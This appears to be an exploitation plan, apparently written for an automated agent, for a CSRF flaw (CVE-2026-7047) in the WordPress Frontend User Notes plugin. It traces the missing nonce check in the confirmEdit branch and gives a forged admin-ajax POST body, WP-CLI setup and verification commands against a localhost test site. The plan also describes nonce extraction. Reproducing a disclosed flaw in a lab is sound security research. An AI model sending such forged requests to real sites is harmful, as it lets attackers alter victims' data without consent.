Exploitation Research Plan: CVE-2026-7047

1. Vulnerability Summary

The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 2.1.1. The vulnerability exists in the AJAX handler funp_ajax_modify_notes because it fails to perform nonce validation when the noteAction parameter is set to confirmEdit. This allows an unauthenticated attacker to craft a malicious request that, if executed by a logged-in user, modifies the content of the victim's existing notes. While the plugin enforces ownership (ensuring a user can only modify their own notes), the lack of CSRF protection means the victim's browser can be coerced into "self-modifying" their notes with attacker-supplied content.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: funp_ajax_modify_notes
• Vulnerable Parameter: noteAction (when set to confirmEdit)
• Payload Parameter: noteContent (the new content for the note)
• Target ID Parameter: noteEditId (the ID of the note to modify)
• Authentication Required: Logged-in user (the "victim")
• Preconditions: The victim must have at least one existing note (post type: frontend-user-notes).

3. Code Flow

1. Entry Point: The plugin registers the AJAX action in includes/ajax.php:

   add_action("wp_ajax_funp_ajax_modify_notes", "funp_ajax_modify_notes");
   

2. Handler Execution: When a POST request is made to admin-ajax.php with action=funp_ajax_modify_notes, the funp_ajax_modify_notes() function is called.
3. Authorization Check: The function retrieves the current user ID and verifies the note's owner:

   $user_id = funp_cur_user_id();
   $cur_note_author = absint( get_post_meta( $post_id, '_funp_single_user_id', true ) );
   if ( ! $cur_note_author || $cur_note_author !== $user_id ) { ... }
   

4. Vulnerable Branch: The function checks the $action variable:

   $action = isset( $_POST["noteAction"] ) ? ... : null;
   // ...
   if( $action === esc_html("remove") ){
       if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) { ... }
       // ... logic ...
   }
   if( $action === esc_html("confirmEdit") ){
       // VULNERABILITY: No check_ajax_referer() or wp_verify_nonce() call here.
       $update_note = array(
           'ID'           => $post_id,
           'post_content' => wp_strip_all_tags( $cont, true ),
       );
       $update = wp_update_post($update_note);
   }
   

5. Sink: The content is updated via wp_update_post().

4. Nonce Acquisition Strategy

According to the source code analysis, the confirmEdit action does not verify a nonce. Therefore, an attacker does not need to acquire one to successfully exploit this specific action.

However, for a complete PoC and to demonstrate the failure of the security control, one can observe that other actions (like remove) do require a nonce named security with the action string funp_note_action_nonce.

If an agent needs to retrieve nonces for other parts of the plugin (e.g., to prove they exist but are ignored here):

1. Shortcode: The plugin uses [fun-my-notes] to display notes on the frontend.
2. JS Variable: The plugin enqueues funp_fn_scripts and localizes the variable FUNP_AJAX_VAR.
3. Extraction:
   • Create a page with [fun-my-notes].
   • Use browser_eval("window.FUNP_AJAX_VAR?.nonce") to get the load-notes nonce.
   • Note: The funp_note_action_nonce is actually embedded in the HTML links of the note cards (data-nonce attribute) generated by funp_notes_inner_links().

5. Exploitation Strategy

The goal is to modify a victim's note without a valid nonce.

Step 1: Discover Target Note ID

The attacker needs the ID of a note belonging to the victim. In a real-world CSRF, this might be guessed or obtained via other means, but for a PoC, we will identify a note ID created during setup.

Step 2: Perform the Forged Request

Use the http_request tool to send a POST request as the logged-in victim.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=funp_ajax_modify_notes&noteEditId=[NOTE_ID]&noteAction=confirmEdit&noteContent=EXPLOITED_BY_CSRF
  

6. Test Data Setup

1. Create Victim User:

   wp user create victim victim@example.com --role=subscriber --user_pass=password
   

2. Create Initial Note for Victim:
   Notes use the custom post type frontend-user-notes. The ownership is tracked via the _funp_single_user_id meta key.

   NOTE_ID=$(wp post create --post_type=frontend-user-notes --post_status=publish --post_title="Note ID: " --post_content="Original Content" --post_author=$(wp user get victim --field=ID) --porcelain)
   wp post meta set $NOTE_ID _funp_single_user_id $(wp user get victim --field=ID)
   

3. Session: Ensure the agent's browser context is logged in as victim.

7. Expected Results

The server should return a JSON success response:

{
  "success": true,
  "data": {
    "message": "Note updated successfully",
    "update": { ... },
    "action": "confirmEdit"
  }
}

Crucially, the request should succeed despite the absence of a security parameter in the POST body.

8. Verification Steps

After the http_request, verify the database state using WP-CLI:

wp post get [NOTE_ID] --field=post_content

Success condition: The output should be EXPLOITED_BY_CSRF.

9. Alternative Approaches

If the plugin is configured in a way that wp_ajax actions behave differently, an attacker could try to trigger the same logic via the wp_ajax_nopriv hook if it were registered, but in this plugin, only wp_ajax (authenticated) is registered for modification.

Another vector would be to test the remove action. If the security parameter is provided but with an incorrect nonce, and it still deletes the note, it would indicate a broader failure of check_ajax_referer. However, the code explicitly checks the nonce for remove, so the confirmEdit path remains the primary exploit target.